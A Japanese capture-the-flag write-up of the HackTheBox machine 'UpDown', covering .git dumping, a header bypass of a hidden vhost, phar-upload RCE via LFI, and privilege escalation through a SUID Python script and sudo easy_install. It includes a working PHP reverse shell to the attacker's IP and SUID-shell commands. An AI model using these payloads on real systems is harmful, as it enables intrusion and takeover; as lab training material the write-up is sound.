概要
- 開いている 80 で
siteisup.htbがホスト。 また、vhostdevを見つけたが、ステータスコード 403 により、アクセス不可 http://siteisup.htb/dev/.gitを dump ・ 解析することで、vhostdevにアクセスするために必要なヘッダーが判明devで、ファイルアップロードを利用したRCEを実行し、www-data シェルを取得- SUID が設定された
siteisupスクリプトを利用し、 developer シェルを取得 - SUDO権限が設定された
easy_installを利用し、root シェルを取得
対象環境
| 項目 | 値 |
|---|---|
| 問題 | UpDown |
| 難易度 | Medium |
| OS | Linux |
| IP | 10.129.19.83 |
| 攻撃者IP | 10.10.14.248 |
攻撃フロー
1. 偵察
rustscan で全ポートを確認。開いているのは 22 / 80
Ch4n24n@htb[/htb]$ rustscan -a $TARGET --ulimit 5000 -t 10000 -- -sC -sV --source-port 53 -reason -T5 -oA tcp-port-scan
Open 10.129.19.83:22
Open 10.129.19.83:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?siteisup.htb を /etc/hosts に足す
Ch4n24n@htb[/htb]$ echo $TARGET siteisup.htb | sudo tee -a /etc/hosts
10.129.19.83 siteisup.htb2. vhost dev と .git の列挙
vhost 列挙で dev だけ既定サイズから外れる。 ただし、ステータスコードが 403 のため、dev に直接アクセスはできない
Ch4n24n@htb[/htb]$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://$TARGET/ -H "Host: FUZZ.siteisup.htb" -t 100 -c -ic -fs 1131
dev [Status: 403, Size: 281, Words: 20, Lines: 10]/dev/ 配下に .git がある
Ch4n24n@htb[/htb]$ ffuf -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt:FUZZ -u "http://siteisup.htb/dev//FUZZ" -c -ic -r -t 100 -e .php
.git/config [Status: 200, Size: 298]
.git/HEAD [Status: 200, Size: 21]
.git [Status: 200, Size: 2884]git-dumper で中身をダンプ
Ch4n24n@htb[/htb]$ git-dumper http://siteisup.htb/dev/.git git-dumper
[-] Testing http://siteisup.htb/dev/.git/HEAD [200]
[-] Fetching .git recursively
[-] Running git checkout .
Updated 6 paths from the index3. リポジトリの解析
.htaccess
Special-Dev: only4dev をヘッダーにつけることで、変数 Required-Header が定義されるらしい
また、変数 Required-Header が定義されているとき、 アクセスが可能になることがわかる
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Headerindex.php
Admin Panel では、?page= を include する
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
define("DIRECTACCESS",false);
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
include($_GET['page'] . ".php");
}else{
include("checker.php");
}
?>checker.php
ファイルアップロード機能があり、アップロードされたファイルは、/uploads/[md5]/ に配置される
また、アップロード可能な拡張子は、/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/ 以外であることがわかる
...SNIP...
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
...SNIP...以上により、以下のことが推測できる
- このリポジトリは、おそらく
dev.siteisup.htbであり、列挙の際に 403 が出たのは、ヘッダーにSpecial-Dev: only4devが無かったから - 任意のPHPの実行によるRCEが可能そう
4. dev の列挙
ヘッダ Special-Dev: only4dev を付けると dev.siteisup.htb が開き、uploads が見える。 (推測は正しそう…)
Ch4n24n@htb[/htb]$ ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u "http://dev.siteisup.htb/FUZZ" -c -ic -r -t 100 -e .php -H 'special-dev: only4dev'
index.php [Status: 200, Size: 1220]
uploads [Status: 200, Size: 747]
admin.php [Status: 200, Size: 0]
checker.php [Status: 500, Size: 0]5. phar で RCE
checker.php でPharファイルをアップロードし、RCEを実行する
(1)使用可能なPHP関数を確認
Phar に入れる PHP ファイルで使用可能な関数を確認するために、 phpinfo を実行する
# shell.php
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.php', '<?php phpinfo(); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();Ch4n24n@htb[/htb]$ php --define phar.readonly=0 shell.php
Ch4n24n@htb[/htb]$ mv shell.phar shell.jpg上記のコマンドで作成された shell.jpg を アップロード後にアップロードファイルを開くと、関数の拒否リストを閲覧できる
http://dev.siteisup.htb/?page=phar://uploads/[md5]/shell.jpg/shell (抜粋)
disable_functions に system / exec / shell_exec / popen / passthru / fsockopen があるが、 proc_open は無いことがわかる
(2)リバースシェルを取得
shell.php を proc_open を使ったリバースシェルに差し替え、同様の手順でアップロードする
# shell.php
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.php', '<?php $d=[0=>["pipe","r"], 1=>["pipe","w"], 2=>["pipe","w"]];$p=proc_open(\'setsid /bin/bash -c "bash -i >& /dev/tcp/10.10.14.248/8200 0>&1" >/dev/null 2>&1 &\', $d, $pipes); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();http://dev.siteisup.htb/?page=phar://uploads/[md5]/shell.jpg/shell にアクセスすると www-data のシェルを取得できる
Ch4n24n@htb[/htb]$ rlwrap nc -nlvvp 8200
Listening on 0.0.0.0 8200
Connection received on 10.129.19.83 60616
# アカウントを確認
www-data@updown:/var/www/dev$ whoami
www-data
# TTYの取得
www-data@updown:/var/www/dev$ python3 -c 'import pty; pty.spawn("/bin/sh")'
$TTYの取得は必ず実施すること。コマンドの実行が安定しないため
6. developer
/home/developer/dev/ に SUID バイナリがある
$ ls -arlt /home/developer/dev/
-rwxr-x--- 1 developer www-data 154 Jun 22 2022 siteisup_test.py
-rwsr-x--- 1 developer www-data 16928 Jun 22 2022 siteisup試しに、コマンドを実行してみると、URLの入力を求められる。 http://google.com を入力すると、構文エラーが発生する
問題ない入力でエラーになるため、入力文が文字列として解釈されていない可能性がある
$ ./siteisup
Enter URL here:http://google.com
Traceback (most recent call last):
File "/home/developer/dev/siteisup_test.py", line 3, in <module>
url = input("Enter URL here:")
File "<string>", line 1
http://google.com
^
SyntaxError: invalid syntaxTTYを取得していないと、そもそも実行できない可能性がある ->
python3 -c 'import pty; pty.spawn("/bin/sh")'
コマンドインジェクションで使うスクリプト(__import__('os').system('ls'))を入力してみた結果、コマンドのエラーコード(0)が返却された
このことにより、コマンドが実行されていることがわかる
$ ./siteisup
Enter URL here:__import__('os').system('ls')
requests.exceptions.MissingSchema: Invalid URL '0': No scheme supplied. Perhaps you meant http://0?SUID の ./siteisup は developer で実行されるので、developer で起動するシェルバイナリを作成する
$ ./siteisup
Enter URL here: __import__('os').system('cp /bin/sh /tmp && chmod u+s /tmp/sh')
requests.exceptions.MissingSchema: Invalid URL '0': No scheme supplied. Perhaps you meant http://0?developer に入り、 SSH秘密鍵をダウンロードすることで、SSHシェルを取得する
$ /tmp/sh -p
$ whoami
developer
$ ls -lart /home/developer/.ssh/id_rsa
-rw------- 1 developer developer 2602 Aug 2 2022 /home/developer/.ssh/id_rsa7. SUDO権限を利用したrootの取得
easy_install をルート権限で実行可能
developer@updown:~$ sudo -l
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_installhttps://gtfobins.org/gtfobins/easy_install/ を参考に、権限昇格
developer@updown:~$ echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py
developer@updown:~$ sudo easy_install .
# whoami
root参考
おわりに
- これは難しい… つまずきそうなポイントが複数個ありました
.gitの列挙漏れ- ファイルアップロードとPharラッパーを使ったRCE
./siteisupのコマンドインジェクション
- 3以外は教科書通りという感じがしますが、慣れていないうちは考慮漏れしそうな内容です💦
- 2については、
ファイルアップロード + LFI = pharラッパーでRCEっていうのが Linux のお約束なので、丸暗記でもいいかな?って思います!

